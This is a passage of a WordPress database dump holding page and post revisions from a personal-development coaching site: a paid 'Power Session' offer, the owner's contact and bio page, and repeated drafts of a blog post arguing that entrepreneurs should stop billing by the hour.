(1306, 2, '2010-12-03 17:45:46', '2010-12-04 00:45:46', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif"><img class="alignnone size-full wp-image-416" title="wh.powerart" src="http://whc.fbdev.org/wp-content/uploads/2009/06/wh.powerart1.gif" alt="wh.powerart" width="450" height="190" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">Where do you go from here? What fires you up? What really matters to you? How to you get to the next level in your business? How do you pull a white hot idea out of the goo of creation and have it take its equivalent physical form in your business and in your life? These are some of the burning questions I jam with you on when we come together in a 1on1 White Hot Center Power Session. </span></h2>\r\n<span style="color: #333333;">The result of our creative jam together– you''ll have more clarity and confidence with a deeper conviction to pursue what really matters to you and serves the marketplace. We''ll discuss creative ideas, and assess your best opportunities to increase your impact, influence and income. </span>\r\n\r\n<span style="color: #333333;"> </span> Power Sessions are a game-changing, creative, inspirational, intuitive jam sessions for creative early-stage entrepreneurs, solo professionals, artists, and brave souls who seek more clarity, conviction and confidence to pursue their ideas for their bigger future. The format is simple. We have a creative think conversation on your best ideas for growing and expanding your business and influence in the world.<span style="color: #ff6600;">\r\n</span>\r\n<h1><span style="color: #ff6600;">Here''s how it works:</span></h1>\r\n<h1><strong> </strong></h1>\r\n<strong>Advance Assessment</strong>\r\nIn advance (usually a week ) of our call, I''ll send you some questions via email that will help you answer what''s in your way and what will be required of you to focus your energies on your burning desires. You''ll provide me with your answers, send me links to your website, pdf / printed materials and any resources necessary for me to get a handle on what you got cooking in your creative mind. I''ll spend time forming an advance assessment of where your at and where you want to go. This helps get all the research out of the way before our power jam, and makes every minute of our conversation productive and effective.\r\n\r\n<strong>The Power Session Jam</strong>\r\nWe get together in a 60-90 minute conference call ( feel free to invite your colleagues to sit in on the session if that adds value to you) and we begin to jam on your ideas. I''ll help you with strategies and methods for personal growth, lifestyle design, value creation, product development, branding, positioning, marketing, sales, business development tactics to bring more clarity to your vision and confidence in your actions. After our session, I''ll send you back an MP3 file of our recorded Power Session Jam for your future reference.\r\n<h1><span style="color: #ff6600;">Your investment:</span></h1>\r\n<strong>You can invest in creating your bigger future on two levels to support your individual requirements:</strong><span style="color: #ff6600;">\r\n</span>\r\n\r\n<strong><span style="color: #ff6600;">Individual Session: $500 USD</span><span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Session: $2,500 USD</span> <span style="color: #ff6600;"> Paid in advance through PayPal</span></strong>\r\n\r\nI offer an Immersion Jam of (6) Power Sessions to keep your momentum going– enabling you more opportunity to gain deeper insight and guidance on your chosen tactics for next steps. You"ll save some money on the six sessions and get a deeper level of value and feedback on your business strategies and tactics.\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson.gif"><img class="alignleft size-medium wp-image-341" title="thomson dawson" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-300x208.gif" alt="" width="300" height="208" /></a>It''s my belief that there are no limits, there is an abundance of resources available for you to realize your vision. Possibility and potential surround you at all times. My life''s great work is to use all my creative talent and business development expertise to guide you closer to your own inner source of creative power – your own white hot center! Only from that place will you be able to sustain your passion and energy to pursue your big ideas.\r\n</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;"><strong><a href="mailto:thomson@whitehotcenter.com" target="_blank">Email</a> <span style="color: #333333;">me to book your White Hot Power Session!</span></strong></span>\r\n</span></h2>', 'Be inspired. Fire up a White Hot Power Session!', 0, '', 'inherit', 'open', 'open', '', '200-revision-v1', '', '', '2010-12-03 17:45:46', '2010-12-04 00:45:46', '', 200, 'http://www.whitehotcenter.com/2010/12/03/200-revision-31/', 0, 'revision', '', 0),
(1307, 2, '2010-10-29 15:17:01', '2010-10-29 22:17:01', '<h2><img class="size-full wp-image-246 alignnone" title="1015.nordoff-view" src="http://whc.fbdev.org/wp-content/uploads/2009/04/1015.nordoff-view.gif" alt="1015.nordoff-view" width="450" height="361" /></h2>\r\n<h2><span style="color: #ff6600;">For years, I would daydream about living and working in a beautiful, natural environment. Here it is. Proof that achievement is the result of inspired, energy-infused thought. Nothing is more comforting to my soul than living in an orange grove, and I''m delighted to share the view with you here.\r\n</span></h2>\r\n<strong>To contact me:</strong>\r\n\r\nThomson Dawson\r\n<a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\n\r\n<strong>The White Hot Center\r\nPart of the Dawson+Company Creative Group Inc.\r\nOjai, California 93203 USA</strong>\r\n\r\n<strong> </strong>\r\n\r\n<span style="color: #ff8c00;"><strong><span style="color: #000000;">What I do:</span>\r\ninspire, guide and create IDEAS that help people gain clarity and confidence to pursue their best opportunities to create more value.  I do this in two ways.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Organizations:\r\nAs Managing Partner of PULL Brand Innovation, along with a team of other skilled brand strategists and creative people, I work with consumer products marketers in the early stages of product and brand innovation.  I specialize in advising marketers how best to define a compelling and authentic value proposition they can feel confident will help them grow the value of their brands. Along with my colleagues , I do this through our collective expertise in consumer insight, market research, brand strategy, corporate / brand identity design and marketing communications.</strong></span>\r\n\r\n<span style="color: #ff8c00;"><strong>For Entrepreneurs and Solo Professionals:\r\nI am the founder, writer and voice of www.whitehotcenter.com, a personal and professional development blog serving early-stage entrepreneurs who seek insight and inspiration to do more of what truly matters to them, while at the same time enjoying the fruits of a financially successful enterprise.  I do this by writing, podcasting, and speaking about ideas on personal/professional development, lifestyle design, value creation and demand generation. Additionally, I coach, mentor and consult with successful people who want to jam on bringing their best ideas into physical form.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong><span style="color: #ff8c00;">I am a contributing writer to publications and blogs, and facilitate  educational seminars on personal effectiveness, lifestyle design and  entrepreneurial success.  I happily live in  the middle of a small orange grove in Ojai, California. Amen.</span></strong></span>\r\n\r\n<strong>Speaking gigs</strong>:\r\n\r\n<span style="color: #ff6600;"><strong>I  am available to speak at colleges, art &amp; design schools,  universities, industry groups and trade associations, on diverse topics  in marketing, business development, visual design, and on diverse topics  within the area personal and professional development. Some of my talks  are pro-bono, some for expenses, and others for a fee and expenses.  If  you have an interest in having me on the bill at one of your events,  just send me an email with your specifics, we can go from there.</strong></span>\r\n\r\n<strong>Consulting gigs:</strong>\r\n\r\n<span style="color: #ff6600;"><strong>I  also advise corporations, organizations, and early-stage  entrepreneurs, on issue-based consulting and coaching on marketing, positioning, branding, business and  professional development. The depth and duration of these engagements  varies depending on your needs and my availability. As a start, try  arranging for a “Power Session” with me where we can riff on your  current concerns, big ideas and visions you have for your future.  Click  the Power Session banner to the right. Remember, the nature of my  consulting work is weighted to the inner game of business and life  success. If you need help sifting through quantitative or qualitative  data, or motivating people to fill out time sheets, I’m not the guy. On  the other hand, if you have ideas for your bigger, better future you’d  like to gain more clarity and conviction on, just send me a note via my  email link and I’ll promptly reply.</strong></span>', 'Contact Thomson Dawson', 0, '', 'inherit', 'open', 'open', '', '143-revision-v1', '', '', '2010-10-29 15:17:01', '2010-10-29 22:17:01', '', 143, 'http://www.whitehotcenter.com/2010/10/29/143-revision-29/', 0, 'revision', '', 0),
(1309, 2, '2010-12-13 18:38:51', '2010-12-14 01:38:51', '', 'timeformoney', 0, '', 'inherit', 'open', 'open', '', 'timeformoney', '', '', '2010-12-13 18:38:51', '2010-12-14 01:38:51', '', 1308, 'http://www.whitehotcenter.com/wp-content/uploads/2010/12/timeformoney.gif', 0, 'attachment', 'image/gif', 0),
(1310, 2, '2010-12-13 18:40:47', '2010-12-14 01:40:47', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision', '', '', '2010-12-13 18:40:47', '2010-12-14 01:40:47', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision/', 0, 'revision', '', 0),
(1311, 2, '2010-12-13 18:41:12', '2010-12-14 01:41:12', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again!\r\n</strong>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-2', '', '', '2010-12-13 18:41:12', '2010-12-14 01:41:12', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-2/', 0, 'revision', '', 0),
(1312, 2, '2010-12-13 18:41:22', '2010-12-14 01:41:22', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again!\r\n</strong>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-3', '', '', '2010-12-13 18:41:22', '2010-12-14 01:41:22', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-3/', 0, 'revision', '', 0);
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(1313, 2, '2010-12-13 18:49:40', '2010-12-14 01:49:40', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\n\n<strong>Fast and cheap.</strong>\n\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\n\nOnly two things release you from the bondage of trading your time for money–\n\n<em>-       the level of demand for your available time</em>.\n\n<em>-       the financial value people place on your ideas</em>.\n\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\n\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\n\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\n\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\n\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\n\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\n\n<strong><em>Good is the new slush pile.</em></strong>\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\n\n<strong><em>Be really different. Make a real difference.</em></strong>\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\n\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\n\n<strong><em>Stop writing proposals, start making them.</em></strong>\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\n\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\n\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\n\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\n\n<strong>Think about how you create value, and in what ways you might be selling yourself short.\n</strong>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-4', '', '', '2010-12-13 18:49:40', '2010-12-14 01:49:40', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-4/', 0, 'revision', '', 0),
(1314, 2, '2010-12-13 18:55:54', '2010-12-14 01:55:54', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.\r\n</strong>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'inherit', 'open', 'open', '', '1308-revision-5', '', '', '2010-12-13 18:55:54', '2010-12-14 01:55:54', '', 1308, 'http://www.whitehotcenter.com/2010/12/13/1308-revision-5/', 0, 'revision', '', 0),
(1315, 2, '2010-12-13 18:56:03', '2010-12-14 01:56:03', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="500" height="365" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. 